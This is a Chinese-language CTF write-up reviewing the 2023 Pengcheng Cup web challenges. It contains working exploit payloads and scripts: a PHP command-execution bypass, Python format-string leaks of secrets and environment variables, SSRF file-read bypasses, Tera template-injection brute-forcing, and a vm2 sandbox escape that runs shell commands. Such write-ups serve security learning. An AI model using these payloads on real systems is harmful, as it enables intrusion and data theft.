2023鹏城杯-web
2023鹏城杯-web 复现
前言
当时打比赛被爆杀,只写出一个web,一个misc,后来没时间复现,现在来看看
web-1
贼简单的pop链
<?php
class Hacker {
}
class H {
public $username;
}
$b = new Hacker();
$a = new H();
$a->username = $b;
echo serialize($a);
?>
web-2
filename 会传入 scandir
函数, 当目录存在时返回 yes 否则返回 no
这里我当时没什么思路,但是源代码中有backdoor_[a-f0-9]{16}.php
,但是嫌麻烦,并且还是没啥思路,就算了
这里可以使用glob协议一位一位来进行判断,因为glob可以使用*
爆破/var/www/html
import requests
dicts = '0123456789abcdef'
flag = ''
i = 1
while True:
for s in dicts:
print('testing', s)
url = 'http://172.10.0.5/'
res = requests.post(url, data={
'filename': 'glob:///var/www/html/backdoor_' + flag + s + '*',
})
if 'yesyesyes!!!' in res.text:
flag += s
print('found!!!', flag)
break
i += 1
爆出backdoor_00fbc51dcdf9eef767597fd26119a894.php
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['username'])){
$sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
mkdir($sandbox);
chdir($sandbox);
if(isset($_GET['title'])&&isset($_GET['data'])){
$data = $_GET['data'];
$title= $_GET['title'];
if (strlen($data)>5||strlen($title)>3){
die("no!no!no!");
}
file_put_contents($sandbox.$title,$data);
if (strlen(file_get_contents($title)) <= 10) {
system('php '.$sandbox.$title);
}
else{
system('rm '.$sandbox.$title);
die("no!no!no!");
}
}
else if (isset($_GET['reset'])) {
system('/bin/rm -rf ' . $sandbox);
}
}
?>
一个队友拿到这个代码后给我,我第一眼以为是限制长度的RCE,但是条件太严行不通,就没有思路了
结果谁想到绕过十分简单,使用数组即可
<?php
$data = $_GET['data'];
$title= $_GET['title'];
var_dump(strlen($data));
echo "<br>";
var_dump(strlen($title));
echo "<br>";
var_dump(strlen($data)>5);
echo "<br>";
var_dump(strlen($title)>3);
payload:
GET /backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=exp10it&title[]=123&data[]=<?=`nl+/*`; HTTP/1.1
Escape
赛后有战队wp中说这是外国一个比赛原题
from sqlite3 import *
from random import choice
from hashlib import sha512
from flask import Flask, request, Response
app = Flask(__name__)
salt = b'****************'
class PassHash(str):
def __str__(self):
return sha512(salt + self.encode()).hexdigest()
def __repr__(self):
return sha512(salt + self.encode()).hexdigest()
con = connect("users.db")
cur = con.cursor()
cur.execute("DROP TABLE IF EXISTS users")
cur.execute("CREATE TABLE users(username, passhash)")
passhash = PassHash(''.join(choice("0123456789") for _ in range(16)))
cur.execute(
"INSERT INTO users VALUES (?, ?)",
("admin", str(passhash))
)
con.commit()
@app.route('/source')
def source():
return Response(open(__file__).read(), mimetype="text/plain")
@app.route('/')
def index():
if 'username' not in request.args or 'password' not in request.args:
return open("index.html").read()
else:
username = request.args["username"]
new_pwd = PassHash(request.args["password"])
con = connect("users.db")
cur = con.cursor()
res = cur.execute(
"SELECT * from users WHERE username = ? AND passhash = ?",
(username, str(new_pwd))
)
if res.fetchone():
return open("secret.html").read()
return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!"
.format(user=username)
.format(passhash=new_pwd)
)
if __name__ == "__main__":
app.run('0.0.0.0', 10000)
这题当时已经看出是python格式化字符串漏洞了,但是可惜不会利用,对flask没有特别了解
PassHash 虽然继承了 str, 但是只重写了 __str__
和 __repr__
两个方法, 实例化时传入的 password 明文其实还保存在对象里面
大佬说法
比如
passhash.lower()
依然显示的是原来的值
:>0
表示左对齐, 会调用父类 str 的__format__
方法, 而不是__str__
和__repr__
, 进而得到明文
看了wp,感觉现在就是要先获取到PassHash这个类的实例
问了下GPT,大概是这样回答的,后来又问了一次,gpt纠错后的答案感觉不是很靠谱
获取密码明文
实际测试
from random import choice
from hashlib import sha512
from flask import Flask, request, Response
app = Flask(__name__)
salt = b'****************'
class PassHash(str):
def __str__(self):
return sha512(salt + self.encode()).hexdigest()
def __repr__(self):
return sha512(salt + self.encode()).hexdigest()
passhash = PassHash(''.join(choice("0123456789") for _ in range(16)))
print(passhash)
@app.route('/')
def index():
username = request.args["username"]
new_pwd = PassHash(request.args["password"])
return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!"
.format(user=username)
.format(passhash=new_pwd)
)
if __name__ == "__main__":
app.run('0.0.0.0', 10000)
username={passhash.__str__.__globals__}&password=2
username={passhash.__class__.__str__.__globals__}&password=2
username={passhash.__class__.__repr__.__globals__}&password=2
username={passhash.__repr__.__globals__}&password=2
以上payload均能够获取__globals__
的内容
1
通过__globals__
获取到passhash
,然后就可以根据大佬的说法
:>0 表示左对齐, 会调用父类 str 的 __format__ 方法, 而不是 __str__ 和 __repr__, 进而得到明文
username={passhash.__class__.__str__.__globals__[passhash]:>0}&password=2
2
也可以取数组下标一位一位弄出来
username={passhash.__class__.__str__.__globals__[passhash][0]}&password=2
import requests
url = "http://localhost:5000/?username={passhash.__class__.__str__.__globals__[passhash]"
for i in range(20):
req = requests.get(url+f"[{i}]"+"}&password=2")
print(req.text)
这样就获取到了admin的密码
获取环境变量
登录
/?username=admin&password=3673940420288307
提示 flag 在环境变量里面
于是通过 flask app 找到 os 模块, 然后读取 environ 属性
username={passhash.__str__.__globals__[app].__init__.__globals__[os].environ}&password=2
这个payload也可以
username={passhash.__str__.__globals__[app].wsgi_app.__globals__[os].environ}&password=1
HTTP
这没办法,要是做题肯定不会,只能看看WP了
扫描发现
http://172.10.0.3:8080/swagger-ui/index.html
只有一个api,可以进行ssrf,先http://x.x.xx./到自己的云服务器,发现user-agent中有java版本,猜测是通过URL类发起请求。使用ftp也能正常获取内容,但是使用file的时候被过滤了,调试URL类,发现可以利用绕过的点
if (spec.regionMatches(true, start, "url:", 0, 4)) {
start += 4;
}
在url以url:开头时,直接跳过,紧接着的是对#符号的处理
if (start < spec.length() && spec.charAt(start) == '#') {
/* we're assuming this is a ref relative to the context URL.
* This means protocols cannot start w/ '#', but we must parse
* ref URL's like: "hello:there" w/ a ':' in them.
*/
aRef=true;
}
利用这个点可以绕过仅.html限制,读取flag
http://172.10.0.3:8080/proxy/url?url=url:file:///flag%23a.html
/proxy/url 存在 ssrf, 过滤了
file://
netdoc://
等协议使用
url:file://
绕过, 再传一个 query string 绕过Only html can be viewed
限制
/proxy/url?url=url:file:///flag?html
Tera
当时题目描述写了ssti,我就在bing上搜索tera ssti
,结果啥都没有
赛后看lolita做出来了,问他是怎样信息搜集的,他说主要是看文档,(大佬都是这样呜呜呜)
他也说tera ssti
,只是用的是chrome,我用chrome一搜,直接就找到相关文章了。。。。。。。
tera实际上是Rust的模板引擎
tera A powerful, fast and easy-to-use template engine for Rust
看了三个payload
有三个主要部分,绕过flag
的过滤,利用get_env获取环境变量中的flag值,利用if语句对flag值进行盲注
区别就是具体实现不同
直接给出来吧,感觉没啥好说的,这种题还得是做到时具体看文档
//不报错,说明环境变量中存在flag变量
{% set fla=['f', 'l', 'a', 'g']|join(sep="") %}
{% set fla1 = get_env(name=fla) %}
//利用reverse反转字符串,然后在if语句中使用starting_with,若正确回显ok,盲注出flag
import requests
flag = ""
for j in range(100):
for i in "0123456789abcdef-{}":
postdata = """{% set f='galf'|reverse %}{% set f1 = get_env(name=f)|reverse %}{% if f1 is starting_with('""" + flag + i + """') %}ok{% endif %}"""
res = requests.post("http://172.10.0.3:8081/", postdata).text
if "ok" in res:
flag += i
print(flag)
break
反转一下套上flag标签即可
//。。。要反转的话get_env后面不加reverse不就行了吗
import requests
url = "http://172.10.0.3:8081/"
headers = {
'Content-Type': 'text/plain'
}
for i in '0123456789abcdef':
while True:
try:
payload = '''
{% set AX = get_env(name="fl"~"ag", default="1") %} //~拼接flag
{%- for char in AX -%}
C //计数
{%- if char == 'LOLITA' -%} //在发包时进行替换
h //若正确回显h
{%- else -%}
{%- endif -%}
{% endfor %}
'''
response = requests.request("POST", url, headers=headers, data=payload.replace("LOLITA", i), timeout=(1,1))
#print(response.text)
rspt = response.text.strip()
print(rspt)
cc = 0
for x in range(len(rspt)):
if rspt[x] == 'C':
cc += 1
if rspt[x] == 'h':
flag[cc-1] = i
print(''.join(flag))
break
except:
1-1
import requests
dicts = '0123456789abcdef-'
# flag = '{3c8ce067-4df7-66b2-843a-04c6959'
flag = '-04c695904159}'
i = 1
//replace绕过flag的匹配,在if语句中使用starting_with,若正确回显true,盲注出flag
while True:
for s in dicts:
print('testing', s)
url = 'http://172.10.0.3:8081/'
# data = r'{% set my_var = get_env(name="flac"|replace(from="c", to="g")) %}{% if my_var is starting_with("AAAg' + flag + s + '"|replace(from="AAA", to="fla")) %}true{% else %}false{% endif %}'
data = r'{% set my_var = get_env(name="flac"|replace(from="c", to="g")) %}{% if my_var is ending_with("' + s + flag + '") %}true{% else %}false{% endif %}'
# print(data)
res = requests.post(url, data=data)
if 'forbidden' in res.text:
print('forbidden')
exit()
if 'true' in res.text:
# flag += s
flag = s + flag
print('found!!!', flag)
break
i += 1
flag{3c8ce067-4df7-66b2-843a-04c695904159}
simple_rpc
访问自动跳转
http://172.10.0.6:3000/find_rpc?less=h5%7Bcolor:red%7D
搜了一下less=h5%7Bcolor:red%7D
好像是Less.js用于CSS扩展
提示要读取rpc.js,找官方文档,有@import可以用 https://less.bootcss.com/features/#import-at-rules-inline 用inline选项可以原样导入文本,读取rpc.js和package.json
/find_rpc?less=h5{@import%20(inline)%20'rpc.js';}
/find_rpc?less=h5{@import%20(inline)%20'eval.proto';}
/find_rpc?less=h5{@import%20(inline)%20'app.js';}
/find_rpc?less=h5{@import%20(inline)%20'package.json';}
//rpc.js
var PROTO_PATH = __dirname + '/eval.proto';
const {VM} = require("vm2");
var grpc = require('@grpc/grpc-js');
var protoLoader = require('@grpc/proto-loader');
var packageDefinition = protoLoader.loadSync(
PROTO_PATH,
{keepCase: true,
longs: String,
enums: String,
defaults: true,
oneofs: true
});
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;
function evalTemplate(call, callback) {
const vm = new VM();
callback(null, {message: vm.run(call.request.template) });
}
function main() {
var server = new grpc.Server();
server.addService(hello_proto.Demo.service, {evalTemplate: evalTemplate});
server.bindAsync('0.0.0.0:8082', grpc.ServerCredentials.createInsecure(), () => {
server.start();
});
}
main()
//eval.proto
syntax = "proto3";
package helloworld;
service Demo {
rpc evalTemplate (TemplateRequest) returns (Reply) {}
}
message TemplateRequest {
string template = 1;
}
message Reply {
string message = 1;
}
就是一个简单的请求与响应
{
"name": "confuse",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"test": "node app.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.17.1",
"vm2": "3.9.15",
"acorn": "^8.8.2",
"@grpc/grpc-js": "^1.9.0",
"@grpc/proto-loader": "^0.7.8",
"less": "^4.2.0"
}
vm2该版本存在逃逸漏洞https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
所以我们构造grpc client去与服务端进行交互即可
const grpc = require('@grpc/grpc-js');
const protoLoader = require('@grpc/proto-loader');
var PROTO_PATH = __dirname + '/eval.proto';
var packageDefinition = protoLoader.loadSync(
PROTO_PATH,
{
keepCase: true,
longs: String,
enums: String,
defaults: true,
oneofs: true
}
);
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;
var client = new hello_proto.Demo('172.10.0.6:8082', grpc.credentials.createInsecure());
var template = `err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString();
}`;
client.evalTemplate({template: template}, function(err, response) {
if (err) {
console.error(err);
return;
}
console.log('服务端的运算结果: ', response.message);
});
不会写没关系,找gpt生成一下就行
const grpc = require('@grpc/grpc-js');
const protoLoader = require('@grpc/proto-loader');
const PROTO_PATH = __dirname + '/eval.proto';
const packageDefinition = protoLoader.loadSync(
PROTO_PATH,
{ keepCase: true, longs: String, enums: String, defaults: true, oneofs: true }
);
const hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;
function evalTemplate(template) {
const client = new hello_proto.Demo('localhost:8082', grpc.credentials.createInsecure());
const request = { template };
client.evalTemplate(request, (error, response) => {
if (!error) {
console.log('Response:', response.message);
} else {
console.error('Error:', error);
}
});
}
// Example usage:
evalTemplate('Hello, {{ name }}!');
看到TEL师傅的非预期
https://zhuanlan.zhihu.com/p/389345632
非预期吧?less.js rce
Vps 上放 1.js
总结
题目考点总体来说都是那种需要现学现用的那种,但我很难看得懂官方文档
所以做题总做不出来,tera的那种看文档的话应该是属于最简单的那种了,很多方法都能用,不像别的难题在众多语句中找到要用的
唉,太难了
reference
2023第三届“鹏城杯”线上初赛WriteUp | CN-SEC 中文网
https://exp10it.io/2023/11/2023-%E9%B9%8F%E5%9F%8E%E6%9D%AF-web-writeup/#simple_rpc